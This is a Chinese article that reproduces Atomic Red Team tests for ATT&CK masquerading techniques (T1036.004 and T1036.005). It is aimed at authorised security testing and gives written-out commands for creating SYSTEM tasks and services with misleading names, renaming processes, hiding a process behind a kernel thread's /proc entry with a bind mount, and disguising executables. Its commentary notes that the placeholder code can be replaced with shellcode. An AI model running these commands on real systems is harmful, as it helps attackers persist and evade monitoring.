本文章为Atomic Red Team系列文章,本篇文章内容为T1036-伪装(二)。本文的目的旨在帮助安全团队开展安全测试,发现安全问题,切勿将本文中提到的技术用作攻击行为,请切实遵守国家法律法规。
重要声明: 本文档中的信息和工具仅用于授权的安全测试和研究目的。未经授权使用这些工具进行攻击或数据提取是非法的,并可能导致严重的法律后果。使用本文档中的任何内容时,请确保您遵守所有适用的法律法规,并获得适当的授权。
01
—
T1036.004-伪装:伪装任务或服务
来自ATT&CK的描述
攻击者可能会试图操纵任务或服务的名称,使其看起来合法或无害。任务计划程序或systemd执行的任务/服务通常会被赋予一个名称和(或)描述。(引用:TechNet的schtasks相关文档;systemd服务单元相关文档 )Windows服务会有一个服务名以及一个显示名。存在许多良性任务和服务,它们有着常见的关联名称。攻击者可能会给任务或服务起与合法任务或服务相似甚至相同的名字。
任务或服务还包含其他字段,如描述,攻击者可能会试图让这些字段看起来合法。(引用:帕洛阿尔托关于2016年11月Shamoon事件的报告;Dr.Web对Fysbis的分析 )
原子测试
-
原子测试#1-使用schtasks创建与W32Time相似命名的服务 -
原子测试#2-使用sc创建与W32Time相似命名的服务 -
原子测试#3-在Linux中使用prctl重命名/proc/pid/comm -
原子测试#4-使用绑定挂载隐藏恶意进程
原子测试#1-使用schtasks创建与W32Time相似命名的服务
模仿名为“Operation Wocao”的威胁行为者,使用schtasks创建与W32Time相似命名的服务(win32times)。
- 支持的平台
Windows - 自动生成的GUID
f9f2fe59-96f7-4a7d-ba9f-a9783200d4c9 - 攻击命令
使用 command_prompt
运行!需要提升权限(例如root或管理员权限)
schtasks /create /ru system /sc daily /tr "cmd /c powershell.exe -ep bypass -file c:T1036.004_NonExistingScript.ps1" /tn win32times /f
schtasks /query /tn win32times
- 清理命令
schtasks /tn win32times /delete /f
原子测试#2-使用sc创建与W32Time相似命名的服务
模仿名为“Operation Wocao”的威胁行为者,使用sc创建与W32Time相似命名的服务(win32times)。
- 支持的平台
Windows - 自动生成的GUID
b721c6ef-472c-4263-a0d9-37f1f4ecff66 - 攻击命令
使用 command_prompt
运行!需要提升权限(例如root或管理员权限)
sc create win32times binPath= "cmd /c start c:T1036.004_NonExistingScript.ps1"
sc qc win32times
- 清理命令
sc delete win32times
原子测试#3-在Linux中使用prctl重命名/proc/pid/comm
运行一个C程序,该程序调用prctl(PR_SET_NAME)将/proc/pid/comm的值修改为“totally_legit”。这会在简单的“ps”命令列出的进程名中显示出来。
- 支持的平台
Linux - 自动生成的GUID
f0e3aaea-5cd9-4db6-a077-631dd19b27a8 - 输入参数
|
|
|
|
---|---|---|---|
|
|
|
|
- 攻击命令
使用 sh
运行!
#{exe_path} & ps
TMP=`ps | grep totally_legit`
if [ -z "${TMP}" ] ; then echo "renamed process NOT FOUND in process list" && exit 1; fi
exit 0
- 清理命令
rm -f #{exe_path}
- 依赖项
使用 sh
运行! - 描述
系统上必须存在#{exe_path}。 - 检查先决条件命令
stat #{exe_path}
- 获取先决条件命令
cc -o #{exe_path} PathToAtomicsFolder/T1036.004/src/prctl_rename.c
原子测试#4-使用绑定挂载隐藏恶意进程
创建一个恶意进程,并通过绑定挂载到良性进程的/proc文件系统来隐藏它。
- 支持的平台
Linux - 自动生成的GUID
ad4b73c2-d6e2-4d8b-9868-4c6f55906e01 - 攻击命令
使用 sh
运行!需要提升权限(例如root或管理员权限)
eval '(while true; do :; done) &'
echo $! > /tmp/evil_pid.txt
random_kernel_pid=$(ps -ef | grep "[.*]" | awk '{print $2}' | shuf -n 1)
sudo mount -B /proc/$random_kernel_pid /proc/$(cat /tmp/evil_pid.txt)
这段代码是一段恶意脚本,它的主要目的是通过挂载 /proc
文件系统下的内核进程信息到一个无限循环的用户进程上,来伪装该用户进程,以达到隐藏或干扰系统监控的目的。下面来详细分析代码的各个部分:
1. 创建无限循环的后台进程
eval '(while true; do :; done) &'
while true; do :; done
这是一个无限循环, :
是一个空命令,它不执行任何操作,只是返回成功状态。这个循环会一直执行,直到被手动终止。实际使用时可将该段代码修改为shellcode或其他想要执行的代码&
将这个无限循环的命令放到后台执行,这样脚本可以继续执行后续的命令,而不需要等待这个循环结束。 eval
eval
命令会将其后面的字符串作为 shell 命令进行执行。
2. 保存后台进程的 PID
echo $! > /tmp/evil_pid.txt
$!
在 shell 中, $!
代表上一个在后台执行的进程的进程 ID(PID)。echo $! > /tmp/evil_pid.txt
将上一步创建的无限循环后台进程的 PID 写入到 /tmp/evil_pid.txt
文件中。
3. 随机选择一个内核进程的 PID
random_kernel_pid=$(ps -ef | grep "[.*]" | awk '{print $2}' | shuf -n 1)
ps -ef
列出系统中所有进程的详细信息,包括进程的用户、PID、父进程 ID、启动时间等。 grep "[.*]"
过滤出那些进程名被方括号 []
包裹的进程。在 Linux 系统中,方括号包裹的进程名通常表示内核线程。awk '{print $2}'
从 grep
过滤后的结果中提取出第二列,也就是进程的 PID。shuf -n 1
从提取出的所有内核线程的 PID 中随机选择一个。 random_kernel_pid=$(...)
将随机选择的内核线程的 PID 赋值给变量 random_kernel_pid
。
4. 挂载内核进程信息到用户进程
sudo mount -B /proc/$random_kernel_pid /proc/$(cat /tmp/evil_pid.txt)
sudo
以超级用户权限执行后续的命令,因为挂载操作通常需要 root 权限。 mount -B
-B
是--bind
的缩写,mount --bind
命令用于将一个文件或目录挂载到另一个位置,实际上是创建一个指向源文件或目录的硬链接。/proc/$random_kernel_pid
源挂载点,即随机选择的内核线程的 /proc
目录信息。/proc/$(cat /tmp/evil_pid.txt)
目标挂载点,即之前创建的无限循环用户进程的 /proc
目录。
通过这一步操作,用户进程的 /proc
目录信息会被替换为内核线程的 /proc
目录信息,这样在系统监控工具(如 ps
、top
等)中查看该用户进程时,就会显示出内核线程的信息,从而达到伪装和隐藏用户进程的目的。
- 清理命令
kill $(cat /tmp/evil_pid.txt) || echo "Failed to kill PID $evil_pid"
rm /tmp/evil_pid.txt
02
—
T1036.005-伪装:匹配合法名称或位置
来自ATT&CK的描述
攻击者在命名或放置恶意文件及资源时,可能会选择与合法文件或资源的名称、位置完全相同,或者进行近似模仿。他们这样做是为了逃避防御机制的检测和监控。常见手段包括将可执行文件放置在普遍受信任的目录中(例如System32目录),或者赋予其合法且受信任程序的名称(例如svchost.exe )。在容器化环境中,攻击者也可能会在命名空间内创建资源,使其命名规则与容器Pod或集群的命名规范相匹配。此外,所赋予的文件或容器镜像名称可能会与合法程序或镜像极为相似,也可能看似无害。
攻击者还可能会使用他们试图模仿的文件的相同图标。
原子测试
-
原子测试#1-从伪装成当前父目录的目录执行进程 -
原子测试#2-伪装成内置系统可执行文件
原子测试#1-从伪装成当前父目录的目录执行进程
从伪装成当前父目录(使用...
而非正常的..
)的目录中创建并执行一个进程。
- 支持的平台
macOS、Linux - 自动生成的GUID
812c3ab8-94b0-4698-a9bf-9420af23ce24 - 输入参数
|
|
|
|
---|---|---|---|
|
|
|
|
- 攻击命令
使用 sh
运行!
mkdir $HOME/...
cp $(which sh) $HOME/...
$HOME/.../sh -c "echo #{test_message}"
- 清理命令
rm -f $HOME/.../sh
rmdir $HOME/.../
原子测试#2-伪装成内置系统可执行文件
启动一个试图伪装成合法可执行文件的程序。
- 支持的平台
Windows - 自动生成的GUID
35eb8d16-9820-4423-a2a1-90c4f5edd9ca - 输入参数
|
|
|
|
---|---|---|---|
|
|
|
|
- 攻击命令
使用 powershell
运行! 需要注意的是,此测试需要管理员权限或具备#{executable_filepath}目录的写入权限。
$executablePath = "/path/to/TestDemo.exe"
Add-Type -TypeDefinition @'
public class Test {
public static void Main(string[] args) {
//实际使用时将以下代码替换为shellcode
System.Console.WriteLine("tweet, tweet");
//以下代码仅为了方便演示
System.Console.WriteLine("Press any key to exit...");
System.Console.ReadKey();
}
}
//执行以下命令后会在$executablePath路径下生成TestDemo.exe文件
'@ -OutputAssembly $executablePath
Start-Process -FilePath $executablePath
- 清理命令
Remove-Item -Path "#{executable_filepath}" -ErrorAction Ignore
原文始发于微信公众号(网空安全手札):T1036-伪装(二)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论